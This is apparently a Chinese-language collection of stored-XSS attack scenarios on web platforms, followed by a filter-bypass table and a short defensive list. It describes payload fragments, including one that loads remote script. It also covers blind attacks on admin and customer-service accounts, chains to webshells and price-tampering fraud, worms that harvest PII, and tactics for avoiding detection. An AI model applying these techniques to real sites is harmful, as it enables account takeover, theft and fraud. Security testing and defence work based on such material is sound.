停车位/生活服务类短文本字段:餐饮点评平台的停车位描述、设施备注等字段,被认为是纯结构化枚举值而不走富文本过滤管道,但实际在后台或聚合展示页直接输出。攻击者在这类字段注入 payload,管理员进入审核或商家管理页面时触发——触发方不是普通用户而是具有评价管理权限的运营账号,可直接操作商户信息和评价状态。

房产/租房平台真实姓名字段打房东:短租或房产预订平台的"入住人真实姓名"字段,因实名制要求通常完全不限制字符集,认为只要支持中英文存储即可。该字段在后台订单列表展示给房东或运营方,注入 payload 后触发对象是房东账号——房东兼具修改房源价格、上下架房源的操作权限。与普通电商收货人姓名不同,该字段同时对两个层级(房东和平台运营)展示,一次注入可能触发两类不同权限的账号。

B2B 平台商品发布多字段批量 XSS:企业间交易平台的商品发布功能,包含基本信息、详细描述、公司主页等多个字段,各字段由不同代码路径处理,过滤策略不统一。注入 payload 后,查看商品列表的采购方、浏览公司主页的合作方、审核上架的运营方均可能触发,攻击面随平台交易角色数量成倍扩大。B2B 平台的后台账号往往关联企业级订单和合同操作权限,被打到的 Cookie 价值显著高于 B2C 场景。

家庭/圈子空间多字段联动 XSS:房产、社区、家居类平台的"家庭空间"或"圈子"功能,允许用户创建家庭组并填写家庭名称、相册名、大事记名称、地点等多个字段。这些字段在空间首页聚合展示,且所有搜房/社区用户在自身空间内均可浏览他人的家庭列表——注入 payload 后,任何进入平台空间首页的用户均可触发,传播范围不限于访问该家庭详情页的用户。多字段同时存在漏洞意味着可以跨字段分拆 payload 绕过单字段长度限制。

在线客服聊天渠道打客服账号:APP 或 Web 端内嵌的在线客服聊天(非独立工单系统),用户发送消息后客服在专属工作台实时接收并回复。与异步工单不同,在线聊天触发延迟极短——客服通常在分钟级别即查看消息,且工作台界面对消息内容几乎不做过滤(重点防御在工单附件,不在聊天文本)。客服账号集成了用户查询、订单修改、退款审批等操作接口,被打到的 Cookie 可直接调用这些高权限接口而无需二次验证。

投票/互动功能选项字段首页扩散:财经微博、论坛等平台的"插入投票"功能,允许发布者自定义选项文本。投票发布后嵌入动态流,所有滚动经过该内容的用户均触发渲染——不需要点击进入投票详情页。过滤器通常将投票选项视为"枚举文本"而非"富文本输入",单独维护且覆盖最薄弱。与评论区 XSS 相比,投票内容在平台动态流中的曝光频率更高,蔓延速度更快。

论坛 Flash 媒体链接字段注入:论坛发帖富文本编辑器的"插入在线音乐/视频"功能,允许填写 Flash 或媒体外链地址,该字段在后端独立处理,不经过评论正文的富文本过滤管道。攻击者填写含 XSS payload 的链接地址(通常以双引号闭合属性后追加事件属性),绕过了针对帖子正文的过滤逻辑,页面渲染时由 <embed><object> 标签将 payload 带出。媒体链接字段被认为是"纯 URL 输入框",这一认知偏差导致其防御始终弱于正文区域。

iOS APP 内容分享到浏览器激活存储型 XSS:iOS 原生 APP 的 WebView 因沙盒限制不弹出 JS 对话框,开发者用 alert() 测试时未收到弹窗,误认为"XSS 无法在 APP 内执行"。但用户点击"分享到浏览器"或"用浏览器打开"后,相同 URL 在系统浏览器中完整渲染,存储的 payload 即触发。此外,iOS APP 头像上传功能若允许上传 .htm 文件,该文件被分享或链接引用后在浏览器中作为完整页面执行,构成不依赖 XSS 过滤绕过的独立攻击载体。

XSS 盲打后台直接串联 Getshell:XSS 盲打进入后台后,攻击目标不止于"登录查看数据"。若后台提供文件管理或文件上传功能,攻击者可直接上传 WebShell 获取服务器执行权限——整个过程从"前台填写恶意表单"到"服务器命令执行"可在一条利用链内完成,且后台上传功能通常无需额外绕过前台的文件类型校验,使 XSS 的危害上限从"账号劫持"升级为"服务器控制"。政府、信息港类站点的后台往往运行在高权限环境下,Getshell 后影响范围远超单一系统。

多角色交易平台 XSS 同时触发多方账号:电商或服务平台买卖双方聊天窗口的 XSS,在对方浏览器中执行后可操作当前页面 DOM,包括伪造收款金额、预填支付表单、自动点击确认按钮。与单纯劫持 Cookie 不同,该路径在受害者已认证的会话中静默执行支付相关操作,无需攻击者单独登录,资金操作不产生异地登录日志。若平台同一份订单数据同时对买家和卖家展示,一次注入可在双方浏览器中分别执行,触发两类不同操作权限的账号。

大学/知识社区蠕虫配合手机号等 PII 外泄:针对大学生群体的活动/社团功能,活动介绍字段可通过抓包绕过前端过滤写入 payload;活动发布后推送到主站动态流,短时间内可收集到大量用户 Cookie,触发时同步可通过 DOM 读取页面中内嵌的姓名、QQ 号等个人信息字段并外带——危害从"劫持账号"扩展到"批量采集学生 PII"。社团类平台的特殊性在于:用户关系密集(同校、同专业),蠕虫扩散速度远高于陌生人关系网络。

CMS 平台通用表单字段 XSS 直通 Getshell:部分 CMS 后台权限配置宽松,盲打进入后不只能查看数据——若后台集成了模板编辑、文件上传或数据库操作功能,攻击者可在管理员浏览器中静默调用这些功能接口,直接修改前台模板写入 WebShell 代码,无需另行上传文件。CMS 通用型 XSS(如早期 SiteServer 默认表单)的危害上限由后台功能的边界决定,而非 XSS 本身——后台权限越高,XSS 盲打的最终危害等级越接近完整服务器控制。

注册账号通过站内私信横向传播 XSS:用户名字段携带 XSS payload 注册后,主动向其他用户发送站内消息——收件方打开消息时,发件人用户名字段作为"发件人"渲染触发 payload。与等待管理员访问的盲打路径不同,该路径由攻击者完全掌控触发对象,可按注册用户 ID 规律枚举批量发信,无需等待受害者主动访问任何页面。若平台对发消息接口缺乏频率限制,攻击者可在短时间内向全量用户投递,规模等同于 API 批量写入蠕虫,但绕过了内容写入接口的过滤——危险点在用户名字段,而非消息正文字段。

问答平台图片上传抓包改包 DOM XSS:知识问答、技术社区类平台支持提问时上传配图,服务端只校验图片标签的合法性;攻击者抓包将图片链接替换为含事件属性的字符串,服务端不对图片字段做 XSS 过滤,渲染后形成 DOM XSS。同一平台的"补充问题"功能与"向专家提问"功能走相同代码路径,存在漏洞时三处叠加,且"向专家提问"路径使 payload 定向触发具备专业资质的目标账号——对方因需回答问题而主动进入触发页面,无需额外诱导。

昵称字段拼入已有 script 块形成无括号注入:平台将用户昵称输出在已有的 <script> 代码块内(如 var name = '用户名'),过滤器只检查 HTML 标签但未处理 JS 上下文的字符串闭合。攻击者将昵称设为 </script><script>alert(1) 或用单引号闭合字符串后追加代码,无需引入任何 HTML 标签即可执行;同一昵称在主站、安全中心、群论坛等多个子系统分别输出,主站对 <> 做了转义,但群论坛将同一字段拼入 script 块且未做处理——追踪同一数据字段在多子系统的全部输出路径,才能发现过滤矩阵中的空白。

活动介绍抓包绕过前端过滤写入蠕虫:社区活动的介绍内容字段,前台通过 JavaScript 拦截关键字,服务端仅做有限的黑名单检测(过滤 <script> 但未过滤 SVG 命名空间)。攻击者抓包修改请求,将 onerror 属性中的关键字做 HTML 实体编码(如将 t 编码为 &#116;)绕过服务端字符串匹配,活动发布到主站动态流后对所有访问者触发;结合 payload 中内嵌的读取页面中手机号、QQ 等 PII 的函数,一次活动注入可同时完成账号劫持与个人信息批量采集。

虚拟货币/积分场景盲打后直接刷币:游戏社区或 O2O 平台的意见反馈/投诉功能存储型 XSS,打到后台 Cookie 后发现后台内置了虚拟货币管理或会员积分发放接口,攻击者直接登录后台给自己账号充值或修改积分余额,危害从"信息泄露"升级为"直接经济损失"。该类场景的特殊性在于:后台的"运营工具"功能远比安全团队预期的宽松,发放虚拟货币无需二次审批,使 XSS 盲打的最终收益可直接货币化。

课程评价/回复字段 href 属性 javascript: 协议注入:在线教育平台的课程评价回复功能,允许用户在回复文本中填写链接,前端以 <a href="..."> 形式渲染,服务端未对 href 的协议类型做校验。攻击者填写 javascript:payload 作为链接地址,表单提交和富文本过滤均未命中(因为只有链接文本,没有标签),其他用户点击"回复"或该链接时触发,payload 在平台主域下执行。该注入方式不依赖标签构造,任何仅校验内容格式而不校验协议的 href 字段均可利用。

回复内容长度截断后多条拼接突破:平台对个人动态或好友关系页的回复内容设有显示长度上限,超出部分以省略号替换,导致完整 payload 因截断而失效。攻击者将 payload 拆分为多条独立回复分段写入,页面在同一展示区块中按顺序输出多条内容时,各段相邻拼合还原为完整的可执行代码——每条回复单独看都是无害的短文本,过滤器逐条验证时全部通过,仅在多条内容同屏渲染时才构成攻击。

商品/服务发布多角色受害链:B2C 或 O2O 平台发布商品/服务时的基本信息、详细描述、公司主页等多个字段,由平台采购方、浏览公司主页的合作方、后台审核上架的运营方分别在不同上下文渲染,各代码路径过滤策略不统一。注入 payload 后,所有访问该商品页面的买家均可触发,商品列表页的聚合渲染同时扩大传播范围;商品发布页的图片字段(如 upimg)若仅验证是否为合法图片链接而不过滤双引号,攻击者追加 " onload="payload 即可通过属性闭合触发,该注入点独立于正文过滤管道之外。

投诉举报他人功能定向打运营审核账号:投诉/举报功能要求平台运营人员逐条人工审核,触发路径比评论区更确定——攻击者主动提交投诉即可保证触发,等待时间极短。投诉内容包含"被投诉对象描述"和"补充说明"两个字段,格式约束宽松;审核账号通常集成了封号、删帖、用户信息查看等管理操作权限。与留言/意见反馈相比,投诉场景触发的确定性最高、权限最集中,是存储型盲打最高效的路径之一。

搜房/家居平台家庭空间无 token 蠕虫:房产类平台的"家庭空间"功能允许用户创建家庭并添加成员,家庭名称、相册名、大事记名称、地点等多个字段均未过滤;这些字段在空间首页聚合展示,所有该平台注册用户在自己的空间内均可浏览其他人已创建的家庭列表,payload 在此触发。由于该平台的家庭成员邀请接口无 token 校验,payload 可遍历 groupid 自动扩散——每个受害者触发时同时加入攻击者的家庭组或将攻击者的内容写入新的展示位,形成无需 CSRF token 的轻量级蠕虫。

Discuz ed2k 协议字段通用型 XSS:Discuz 论坛将帖子中的 ed2k 链接渲染为可点击格式时,若未对协议内容做转义,可在链接字段中注入 JS 执行。该漏洞存在于特定版本的 Discuz 核心代码,凡使用该版本的全部论坛均受影响——单个组件漏洞一次覆盖大量部署实例,回复该版本下任意论坛的帖子时均可触发,传播链路与 SWF 组件通用型漏洞一致。

WordPress 评论 title/href 属性闭合注入:WordPress 的留言/评论系统默认允许 <a> 标签,但对 title 属性和 href 属性的内容未做完整过滤。攻击者在 title 属性值中插入 "] 闭合当前标签后追加事件属性,或在 href 中使用注释符嵌套绕过正则匹配(如 javascript<!--://-->)。这类注入利用的是 HTML 属性闭合而非标签注入,传统针对标签的黑名单过滤对其无效;WordPress 的广泛部署意味着一旦发现通用手法,批量影响极大。

图片点击后 JS 函数读取 src 拼接新标签形成 DOM XSS:论坛发帖的图片点击放大功能由前端 JS 读取 <img>src 属性后拼入新标签,攻击者在发帖时通过抓包将图片 src 替换为含事件属性的字符串(如 x' onload='payload),服务端只校验了图片标签合法性,JS 拼接时将 src 嵌入 HTML 属性字段,构成 DOM XSS。触发需用户点击图片,但以图片内容为主的板块点击率极高;该注入点不在请求参数中而在图片字段,常规扫描器不覆盖,代码审计时需专门检查前端 JS 中读取 DOM 属性后拼接 HTML 的逻辑。

在线聊天消息发送至管理端实时触发:移动 APP 内嵌的在线客服聊天与独立工单系统不同,客服在专属工作台实时接收消息,触发延迟极短。工作台对聊天文本几乎不做 XSS 过滤(安全重点在工单附件),使该渠道成为最快速的存储型盲打路径。攻击者通过 APP 发送消息后,客服在分钟级别查看消息时触发;客服工作台集成了用户查询、订单修改、退款审批等高权限接口,被打到的 Cookie 可直接调用这些接口而无需二次验证。

分享奖励/返利场景 HTML 直接输入后触发后台:平台的"分享奖励"或"邀请返利"功能页面未对 HTML 输入做过滤,允许直接在输入框中写入 HTML 标签。提交后,奖励记录展示在运营/审核后台,管理员查看时触发;Cookie 被劫持后若无法直接登录(如被 IP 限制),仍可从 Cookie 中提取包含手机号、用户名等信息的字段,结合公开信息检索获取历史密码,再通过撞库绕过登录限制——整个利用链从"XSS 盲打"延伸至"社工撞库"。

标题字段中文规避审核触发 XSS:部分问答或投稿类平台对标题语言做了审核规则——标题包含非中文字符时会进入人工审核队列,纯中文标题则直接发布。攻击者将标题填为正常中文绕过审核门槛,将 XSS payload 写入"补充问题"或"追加说明"字段,两者在展示侧由同一渲染逻辑输出。这一机制使得攻击者可以精确控制是否触发人工审查,减少被发现的概率,同时利用辅助字段的过滤薄弱完成注入。

商家/物流入驻申请名称字段盲打:企业级平台的商家入驻、物流商申请入驻等表单,"企业名称""公司简称"字段在后台审核列表中展示给运营人员,通常被认为是"只有正规企业名称"的短文本而不做 XSS 过滤。运营审核账号往往集成了商家审批、费率设置、订单管理等高权限功能,一旦被打到可直接操作整个商家生态。与普通收货地址不同,入驻申请有明确的"人工审核"流程,触发时效确定,无需等待随机访问。

后台向前台反向写入 XSS:CMS 类产品的管理后台若允许在"网站基本信息""公告""全局配置"等字段中直接输入内容,且该内容被前台模板原样输出,则后台操作可将 XSS payload 注入到所有前台访客的页面。与常规"前台写入打后台"路径相反,该路径是"谁控制后台即可打穿全部前台用户"——攻击者通过弱口令或其他方式进入后台后,利用配置字段在无需修改代码的情况下完成全站挂马,整个植入过程不留文件操作日志。

内容评论跨站同步扩大传播范围:部分内容平台与其旗下的子站或合作站点建立了评论自动同步机制——主站的评论内容会实时推送到第二个展示域上渲染。攻击者只需在主站提交一条含 XSS payload 的评论,payload 同时出现在两个域的展示页面,触发对象自动扩展为两个站的全体访客。这一传播增益完全由平台架构决定,攻击者无需额外操作;若两个域下的 Cookie 相互独立,一次注入可同时劫持两套不同身份体系的登录态。

管理员消息广播接口无过滤批量触达:平台的"系统公告""消息推送"功能允许具有特定权限的账号向全体在线用户广播消息,消息内容若未做 XSS 过滤即直接渲染。攻击者一旦控制具有广播权限的账号(通过盲打或弱口令),可在单次推送中向全体用户投递 payload——触发规模等同于蠕虫,但不依赖用户间关系扩散,而是由平台的通知基础设施直接覆盖所有活跃会话。这一路径将消息推送接口变成了大规模 XSS 的一键分发器。

视频/图片封面字段替换为可执行文件触发 XSS:视频平台允许用户上传或填写视频封面图片地址,前端 JS 通过 appendChild() 将封面直接渲染到 DOM 而不校验文件类型。攻击者通过抓包将封面字段替换为指向恶意 SWF 或含脚本的 HTML 文件,服务端仅验证了字段格式而非实际内容类型,渲染时将可执行文件以图片方式嵌入页面并执行其中的代码。将含 XSS 的视频发布到论坛或社区后,任何点击播放的用户均会触发——触发路径伪装为"正常播放视频",用户警惕性极低。

<link rel=import> 绕过邮件内容过滤:HTML Import(<link rel=import href="...">)是较少被安全过滤器覆盖的加载机制。部分邮件 Web 客户端在处理 HTML 邮件时,会过滤 <script><img onerror> 等常见标签,但遗漏了 <link rel=import> 这一可远程加载完整 HTML 文档并执行其中脚本的标签。攻击者在邮件正文中插入指向攻击者服务器的 <link rel=import> 标签,收件人打开邮件时浏览器拉取并执行外部页面中的 JS,整个过程对过滤层不可见。该向量有浏览器兼容性限制,但在特定浏览器版本的邮件客户端中有效。

<video> 媒体事件属性绕过邮件/富文本过滤:过滤器黑名单覆盖了 <img onerror><script>,但对 <video> 标签的媒体加载事件(onprogressoncanplayonloadeddata)处理不全。攻击者构造 <video src=外部地址 onprogress=payload>,浏览器尝试加载视频时触发进度事件并执行代码。在邮件客户端场景中,<video> 标签被认为是正常媒体标签不做特殊处理,使该手法在邮件富文本过滤环节具备较高的穿透率。payload 中的关键字还可用字符编码(如 Unicode 转义)进一步规避字符串匹配过滤。

问答/发帖标签字段抓包替换触发全局:问答和知识社区的"发布问题"或"发帖"功能支持添加标签(tag),前端标签选择组件通常限制只能从下拉列表中选取,但抓包后可直接替换 taglist 参数值为 XSS payload 提交。服务端仅校验了正文等主要字段,标签字段通过接口直接写入数据库。标签内容在问答首页、标签聚合页等多处公共展示区块渲染,任何访问问答首页的用户均会触发,而非仅限于访问该具体问题页的用户——标签作为"分类元数据"常被视为低风险字段,防御盲区典型。

后台管理员发帖接口前台全局 XSS:部分 CMS 或论坛设有"管理员专属发帖"接口,帖子内容渲染时跳过普通用户的过滤逻辑(因为认为管理员是可信方)。攻击者通过盲打或弱口令获取管理员账号后,利用该接口发布含 XSS payload 的帖子,内容以不过滤的方式输出到所有访问前台的用户。该路径的特殊性在于:管理员身份带来的"过滤豁免"反而成为传播 XSS 的放大器,且发布的帖子对外表现为官方/管理员内容,用户信任度高,点击率也高于普通帖子。

外卖/餐饮订单盲打后批量导出财务数据:外卖平台或餐饮 O2O 的订单备注、收货人信息字段存储型 XSS,打到后台 Cookie 后进入的不只是订单管理页面,还包括财报下载、合同信息、菜品定价等运营功能模块。后台账号具备"任意下单""修改菜品价格""查看合同"等权限,攻击者在管理员浏览器中静默执行这些操作,可将高价商品改为极低单价后下单,同时批量导出合作商户合同和用户手机号。与普通电商收货地址盲打相比,餐饮 O2O 后台的可操作空间更接近"业务直接货币化"。

javascript: URI 中嵌入注释符绕过协议正则:针对 href 属性的过滤器通常使用正则匹配协议前缀,如检查是否以 javascript: 开头。攻击者在协议与载荷之间插入 HTML 注释符(javascript<!--://-->)或空白字符,部分正则匹配在遇到注释片段时失配,而浏览器解析 href 时会忽略注释内容并还原为有效的 javascript: 协议执行。该绕过手法专门针对"允许 <a> 标签但对 href 做协议白名单检查"的场景,WordPress 的留言/评论系统是高频出现此类配置的目标——允许用户在评论中填写个人网站链接,但正则过滤存在注释符盲区。

招聘平台简历字段盲打 HR 账号:在线投递简历时的"求职意向描述""自我评价""附件备注"等自由文本字段,HR 在后台逐份审阅简历时触发。HR 账号往往可访问全员联系方式、薪资档案、候选人 PII 信息库,这类系统安全防护普遍弱于电商后台——开发者将其定位为"内部工具"而非"公开平台",XSS 过滤逻辑往往从简。招聘流程本身的"逐份人工审阅"机制保证了触发确定性,且不需要攻击者与目标平台有任何既有账号关系。

社交平台"近期共享"聚合字段横向触发:职场或社交平台的"近期共享内容"字段,在"好友人脉""他的联系人"等社交图谱聚合页面中展示给所有查看该用户关系网络的访客。分享内容未过滤时,一次写入会在所有访问过该用户人脉页的访客浏览器中触发——传播面直接取决于该用户在社交图谱中的节点度,高连接度账号的一次注入等同于公开评论区的批量蔓延。

同集团多子站共用组件批量覆盖:集团型企业旗下的游戏、社区、活动等子站,通常共用一套发帖或评论组件,组件版本和配置高度一致。针对某一子站发现并验证的 XSS PoC 可无需修改地复用于其余子站——攻击者通过同一 payload 格式逐站发帖,批量收集来自不同子站的 Cookie;各子站的账号体系独立,但内容运营账号往往与母体共享单点登录,打到其中一个可能横向触达整个集团的内容管理权限。

论坛媒体链接 javascript: 协议直接执行:论坛富文本编辑器的"插入音乐/视频"功能,media URL 字段通常由独立逻辑处理,不经过正文的富文本过滤管道。与需要属性闭合的 onload 注入不同,直接在该字段填写 javascript:payload 即可在 <embed src="javascript:..."> 渲染时被部分浏览器直接执行,无需构造额外的事件属性——过滤器对"此处只是填链接"的字段不检查协议,形成天然盲区。

history.pushState 配合钓鱼伪装地址栏:存储型 XSS 执行后,调用 history.pushState 将浏览器地址栏修改为与平台登录页一致的合法路径(如 /login),同时通过 innerHTML 向页面注入高仿真登录表单。受害者看到的是正确域名、熟悉的登录界面,对凭证填写几乎无警惕——与跳转到外部钓鱼站相比,地址栏始终在目标域内,绕过了用户对"域名是否正确"的直觉检查。表单提交后凭证被外传,页面再自动跳转到真实登录流程,受害者无感知。

等待官方账号巡查的定向 XSS 部署:将 XSS payload 写入个人主页简介、热门内容评论区等官方账号会主动访问的位置,专门等候平台运营人员到访时触发。利用的是平台官方账号"定期检查活跃用户""处理举报内容""查看热门帖子"的常规运营行为——受害者不是随机路人,而是具有特定权限的账号,且其访问时间可通过内容热度、举报操作等手段主动加速。与普通评论区相比,这类部署对触发对象有更强的预判性。

商品价格改写后自行下单串联支付套现:收货地址盲打进后台后,若后台具备商品定价修改功能,攻击者可在管理员浏览器中静默将目标商品价格改为极低值,随即以自有账号下单——整条链路从"前台填写收货地址"到"以极低价格完成真实交易",实现 XSS 利用的直接经济套现。该路径与"劫持 Cookie 登录"无关,仅依赖管理员浏览器中的已认证会话静默执行操作,不产生异地登录日志,财务系统层面的异常只体现在订单金额上。

后台无验证码使 XSS 侦察价值翻倍:盲打后台时若 Cookie 设置了 HttpOnly,document.cookie 不可读,但 payload 仍可将管理员当前页面的 URL、后台登录地址等结构信息外带出来。若后台登录页面未设置验证码且无登录频率限制,这使得 XSS 从"需劫持 Cookie 才能进入"降级为"仅需定位后台地址即可暴力破解"——HttpOnly 阻止了 Cookie 读取,却无法阻止通过 DOM 信息外泄配合弱口令攻击完成完整的入侵链路。XSS 在此场景中扮演"侦察工具"而非"直接利用手段"。

扫码/短网址跳转失败页反射型 XSS:短网址或二维码跳转服务,在目标链接无效时会展示"链接已失效"等提示页,若该页面将原始目标 URL 参数原样拼入提示文案中未做编码,可构造含 payload 的短网址或二维码;扫描者在跳转失败时触发 XSS,执行上下文是跳转服务的域。短网址服务通常是知名平台提供的可信域,用户扫码时不会怀疑,且链接以二维码形式传播时无法直接看到其中的 payload 内容。

偏好设置类字段(屏蔽公司/职位)XSS:求职平台的"屏蔽这些公司""屏蔽这类职位"等个性化过滤字段,影响个人首页的推荐列表渲染;这类字段被开发者视为"内部逻辑配置"而非"用户可见内容",不走富文本过滤管道。注入 payload 后,每次用户进入职位推荐页时触发,且若平台支持与好友共享职位推荐列表,该字段内容会在好友视角的"他正在浏览"区块中出现,传播面超出个人设置范畴。

论坛回帖位置替代发帖测试降低暴露风险:存储型 XSS 挖掘时,选择已有帖子的"回帖"位置而非新发帖子测试:回帖和发帖通常共用同一富文本编辑器,但回帖位置更隐蔽,管理员在帖子列表中不容易直接发现异常;同一 payload 在回帖中触发效果与发帖完全相同,却降低了在测试期间被发现和删除的概率,争取到更长的 Cookie 收集窗口。

embed src javascript: 配合 String.fromCharCode 混淆:论坛媒体链接字段注入时,若过滤器对 javascript: 前缀做字符串匹配,攻击者可将 payload 改写为 javascript:with(document)body.appendChild(createElement(String.fromCharCode(115,99,114,105,112,116))).src='外部地址'——String.fromCharCode 将字符编码序列还原为 script 字符串,绕过对关键字的字面量匹配。该手法也适用于 <embed>src 字段,浏览器执行时动态构建 script 元素并加载外部 JS,整个 payload 中不出现任何可被字符串过滤识别的脚本关键字。

XSS 执行后触发 CSRF 关注接口扩散传播:存储型 XSS 执行后,payload 内嵌调用平台的"关注"或"订阅"接口(通常为简单的 GET/POST 请求且无 CSRF token 验证),使每个触发受害者自动关注攻击者账号或特定内容。关注关系建立后,攻击者发布的后续内容会直接进入受害者的信息流;若该关注触发接口同时将含 XSS 的内容推入被关注者的通知列表,形成"触发→关注→通知→再次触发"的闭环传播链,无需依赖受害者已存在关注关系。

绕过方式

绕过类别典型手法
大小写混淆<ScRiPt><IMG SRC=x OnErRoR=...>
HTML 实体编码&#x3C;script&#x3E; 在部分输出位置被浏览器解码;用 &#x6a;&#x61;&#x76;... 把关键字拆成字符实体序列绕过字符串匹配
标签分割<scr<!---->ipt> 绕过正则匹配
事件属性替代过滤 script 标签时改用 <img onerror><svg onload>
非常规事件属性黑名单仅过滤常见事件时,onplayonbeginontoggle 等低频属性仍可触发:<video src=x autoplay onplay=eval(...)>
SVG/MathML<svg><animate onbegin=...><math><maction xlink:href=javascript:...>
CSS Expression(IE)<div style="background:url(javascript:...)">;或 expression(...) 语法在旧版 IE 中执行,常见于邮件客户端场景
JS 编码alert(1) 绕过字符串关键字检测
Cookie 投毒反射型 XSS 修改 Cookie 值,当该 Cookie 被前端 JS 读取并插入页面时产生存储型效果,不依赖服务端写库即可持久化

防御控制点

  • 输出编码:根据输出上下文选择编码方式——HTML 上下文用 HTML 实体编码,JS 上下文用 Unicode 转义,URL 上下文用 URL 编码
  • CSP(内容安全策略)script-src 白名单限制脚本来源,default-src 'self' 阻断外部数据外传
  • HTTPOnly Cookie:关键会话 Cookie 设置 HttpOnly,即使 XSS 触发也无法通过 document.cookie 读取
  • 富文本白名单:使用 DOMPurify 等库对富文本内容做白名单过滤,拒绝所有事件属性和 javascript: 协议
  • DOM XSS 审计:代码审计阶段重点检查 innerHTMLdocument.writeevalsetTimeout(string) 等危险 sink 的数据来源